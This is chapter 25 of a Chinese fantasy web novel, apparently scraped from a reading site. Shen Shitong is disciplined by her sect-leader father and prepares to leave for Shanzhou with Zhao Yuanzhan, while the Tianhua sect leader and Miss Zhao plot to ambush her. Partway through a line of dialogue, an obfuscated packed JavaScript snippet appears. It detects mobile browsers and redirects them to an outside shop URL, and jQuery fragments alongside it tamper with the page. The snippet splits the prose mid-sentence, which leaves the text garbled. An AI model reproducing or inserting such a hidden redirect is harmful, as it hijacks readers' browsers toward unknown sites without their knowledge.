25. 第二十五章:猫与鼠
作品:《叩玉京之大小姐她称王称霸》 “沈世桐,你可知你这次的行为该当何罪!?”
衍天宗内,沈世桐双膝跪在祠堂内的蒲团上,垂着头听一旁的衍天宗宗主,也是她的父亲沈其溟训斥。
祠堂之上摆着列祖列宗的牌位,整面木色的墙阴沉地向沈世桐压来。沈其溟见她不说话,手指着她半晌,最终叹了口气。
“你这孩子.....有的时候为父不知道该说你什么好!”
“世桐本次行使确实有些失了顾忌,可在那种情况下,世桐的选择就是最优解。”
沈世桐脊梁挺得笔直,她抬起头,目光直视着前方,一字一句道,“神树可实现梁家人的愿望,这次哪怕我们消灭了梁小姐的肉身,下一次还会有其他人被埋入树根之下,这件事情就永远无法解决。倒不如让梁小姐解决自己心头大怨,彻底将这件事情在根源上铲除,否则一旦留下什么,在梁家的饲养和天华门施展的恶咒之下,梁小姐的残魄会成为新的地缚魔种,届时要死的就不仅仅是梁家的人了。”
“可你让她肆意捕杀梁家人而不阻止,这事已经让梁家哭到皇帝跟前去了!为此京中沈家差点也被牵连,赔偿了一大笔方才稳住事态。这一切都是因为你拿的主意!”沈其溟气得发抖,他似乎非常不满沈世桐油盐不进的状态,斥责道,“你也别总把天华门挂在嘴边,你说这一切都是天华门做的,那你的证据呢?你的证据又在哪里!?”
沈世桐深吸一口气,她的确有证人,只是一路跟随自己的林容与此时并不能立刻站出来对证。她沉默半晌,硬生生咽下了心中的不满,没有说话。
沈其溟左右来回踱步着,见沈世桐梗着脖子不说话的模样,半晌,他叹了口气。
“你做事一向心里有数,以前虽然妄为了些,可爹从没说过你什么.....只是这一次,是让人抓住了把柄,云谏那边联合着几位长老向我施压,想要我卸下你的少宗主之位,远远送出去,不再回衍天宗。”
“那爹是怎么打算的?”沈世桐请笑了笑,她回过头,看向沈其溟,“爹打算顺着他们的意,要求我退位吗?”
“你且先休息一阵.....代爹去善州参加沈家旁支,你堂叔叔家儿子的生日宴去吧。”沈其溟没有斩钉截铁地要求沈世桐怎样,他话语中多有无奈,沈世桐自然听得出来。在众人面前消失一阵,直到风波平息,再重新出来,这大概是眼下唯一稳妥的方法。“云谏和长老们那边,我会去同他们商议的。”
沈世桐点点头,并未表现出任何不满,“孩儿明白了。爹不认为孩儿德不配位便好。”
“你这段时间行事低调些,切勿再生事。”沈其溟瞪她一眼,嘴上嘱咐着,又似乎想起了些什么,问道,“那赵家小公子是同你一起回来的?你们之间是怎么回事?”
“只是在帝京时恰巧遇上,他没事做非要跟着我,我想着多个朋友能多出份力,就把他带着了。”沈世桐淡淡回道,“我们之间什么也没有,爹不要想早先的婚约之事。”
“那赵小公子近年在修真界名声不错,看上去也变得比小时候可靠不少。”察觉到了沈世桐不似早年间那般抗拒,沈其溟话里有话的夸了赵元瞻几句,“你们能成为朋友也不错,我们衍天宗,正好借此机会和瀚云宗拉近拉近关系,也有好处。”
“孩儿知道了。”沈世桐被念叨得有些无奈,她低声答应道,“衍天宗和瀚云宗毕竟不是同宗同族,走得太近....也并非好事。爹就把他当成普通客人招待着就是,剩下的事情我来解决。”
“嗯,你心里有数就是。”沈其溟满意地应了一声,他上下打量了一番沈世桐,声音也变得柔缓了些,“你的身体可还好?还有受中毒的影响么?”
“孩儿之前找了医术高超的朋友帮忙救治,现在身体已经无碍了。”沈世桐微微颔首,对沈其溟道,“父亲不用担心我。”
在杀掉地缚魔种,从阵法中逃离之后,沈世桐因为身体消耗太大,全身无法动弹,不得不在帝京中多住了几天。同样因为她无法行动,失去了前往赵家找赵元祺对证的机会,只能带着问题的答案等待下一次求证的机会来临。
林容与在一切结束之后蒙面以外聘人员的身份同沈世桐回到衍天宗内,赵元瞻则赖着不肯走。他对沈世桐说自己已经无家可归,往日还好,现在可能发现了长姐的秘密,瀚云宗更是没有自己的容身之地了。
沈世桐本就为了帝京中一切的来龙去脉感觉到头疼,也管不了赵元瞻闹了,因此只随他去。回了衍天宗之后有下人来报,说赵元瞻一天吃了二十个包子五斤酱牛肉,吨吨喝水宛若水牛,沈世桐不知道他这几年在外游离是不是根本没有吃饱过,抽了个空去看他,只见他除了吃就是练功,一天下来几乎没有闲着的时候。
“你来了。”
赵元瞻看见沈世桐踏进自己的小院里,连忙收起长枪,定定看着她,“怎么也不让人通报一声。”
“我来瞧瞧你过得怎么样,顺道,有事情跟你说。”沈世桐在院子里大树下的石桌前坐下,她给自己和赵元瞻倒了两杯热茶,开口道,“过两日我要前往善州,去参加我堂叔家嫡子的生辰宴。”
“噢,我听说了。”赵元瞻点点头,“你什么时候出发,我好收拾收拾东西。”
“善州你也要跟来?”沈世桐觉得有些好笑,她上下打量了一番赵元瞻,“你是实在闲的没事做了。”
“你也不上街打听打听,以前要雇佣我赵公子办事要多少银子。免费给你当劳工,沈大小姐你是赚大发了。”赵元瞻不满的拿手指叩了叩桌面,“再说,这次在帝京我可是帮了你一个大忙,带着我你绝对不亏啊。”
“你这是强买强卖,我能有什么意见?”沈世桐笑了笑,她从袖间掏出两块成色极好的玉,递到赵元瞻面前,“虽然你是好意帮我,我们之间还是要算得清楚一些。在帝京你救了我,这两块玉就给你当作报酬——你别瞧不上,这可是我小金库里材质能称得上传世的顶好玉料了,你带在身上,修炼时便可起到清心的作用,还可以提升修炼效果,是不可多得的宝贝。”
“一定要算得这么清楚?”赵元瞻看她一眼,倒是没有推辞,伸手接过,揣进自己的口袋里,“这次打算什么时候启程?”
“后天中午。”
“林容与也会去吧?”赵元瞻挑了挑眉,问出了自己最核心的问题,“你这次要带几个人?”
“小林子肯定要去。”沈世桐倒是因此认真思考了片刻,答道,“就带你们俩去吧。我这次去善州,说得好听点叫参加宴会,说得不好听就是流放。我才舍不得宗门里的其他人跟着我一起吃苦。”
“怕是要留人下来,盯着你继母的动向吧。”赵元瞻笑着眯了眯眼,沈世桐瞥他一眼,“你看起来对我的倒霉很得意?”
“那倒没有,我只是觉着,他们沆瀣一气,我们也同【她们】一眼,是一条绳上的蚂蚱。”赵元瞻摊了摊手,“沈大小姐,我现在已经无家可归了。你可不要掉以
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121075|194600||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻心,否则迟早有一天,我们仨就要一起睡桥洞了。”
“放心吧,就算你想睡桥洞,我也不会给你这个机会。”
沈世桐淡淡的站起身,对赵元瞻道,“你且准备准备,到时间出发了我会叫你。”
“还有,”正要离开之时,沈世桐想起什么,转过头来看向赵元瞻,“我和林容与之间并不是你想的那种关系,这次去善州,我希望你们可以和平相处。”
赵元瞻愣了一下,似乎没想到沈世桐会专门解释一遍这件事。他怔怔的看着她,片刻,看上去潇洒的笑了笑,摆摆手,“我跟他计较什么劲儿,你放心罢。”
“你最好是。”沈世桐瞥了他一眼,赵元瞻靠在树干上对她挥了挥手,沈世桐叹了口气,摇着头走出了赵元瞻的小院儿。
天华门暗格内,空气寂静得落针可闻。
一道身着鹅黄色长裙的身影出现在室内中央的石台上,此时正捏诀端坐,浑身上下青蓝色的水灵根灵力循环吐纳着,为她的身影蒙上一层淡淡的烟雾。
不过多时,暗格深处的机关门大开,一股纯正而浓烈的魔气迎面扑来,石台上的女子睁开眼,目光之中有些许抵触与厌恶,她抬眼看向来人。
“赵小姐,别来无恙啊。”
那道身影身着灰黑色大氅,漆黑的长发随意披散着,一张苍白的脸上戴着半边银色的面具,他站在距离女子几步之遥停下。女子收起自己的灵力,平静的依然端坐着,注视着他。
“早先让云谏同你商议过和我天华门的联姻,听说您严词拒绝了。是对此事有所担忧么?”
“婚姻之事并非儿戏,更何况未来我会是瀚云宗的掌门人,身边的伴侣更是不能随意挑选。”女子唇边浮现出一个浅淡的微笑,她道,“天华门为我举荐的人虽好,在天资和地位上却仍有些配不上我的身份。”
“噢?那赵小姐认为,我天华门可有人能配得上您?”
“恐怕只有同样身为掌门人的您了。”
此话虽是调侃,女子的目光却以一种观察和审视的姿态凝视着来人,她笑道,“开玩笑的.....我可不敢高攀司徒掌门。只要您助我成功坐上掌门之位,我瀚云宗和天华门下的核心弟子,皆可以互相配对,用以巩固我们的联盟。”
来人轻声笑了笑,不置可否地没有接女子的话,只沉吟了片刻,又道,“衍天宗传来消息,几日之后沈世桐要带你弟弟和林家小子一同前往善州的沈家旁支,你对此可有想法?”
“让你的心腹去罢,我刚刚和他们交了手,现下元气尚有损伤,让我去不合适。”女子扬起脸,一双幽深的黑眸注视着来人的眼睛,“林承诩怎么样了?听说他这次被伤得不浅,差点丢了性命啊。”
“人家都是一朝被蛇咬,十年怕井绳。林承诩倒好,两次的伤几乎都在同一个位置。”来人嗤笑一声,语气中带着些许莫名的戏谑,“我派人给他看过了,身上的伤是好得差不多了,心上的伤却不一定。”
“说得林容与像是负心汉似的。”女子也笑,她站起身,走到来人身边,凝视着石台上各大宗门的势力地图,“善州....此行定不会再让他们有机会逃走。”
“偶尔享受一下这种追逃游戏,不觉得很有趣么?”男子伸出手,黑灰色的火焰烧灼着地图上的某一个位置,紧接着,所有的境内连线变成了一片灰黑色的火海,“我们是猫,他们是老鼠.....欣赏猎物逃窜慌乱的模样,正是作为猎手的乐趣。”

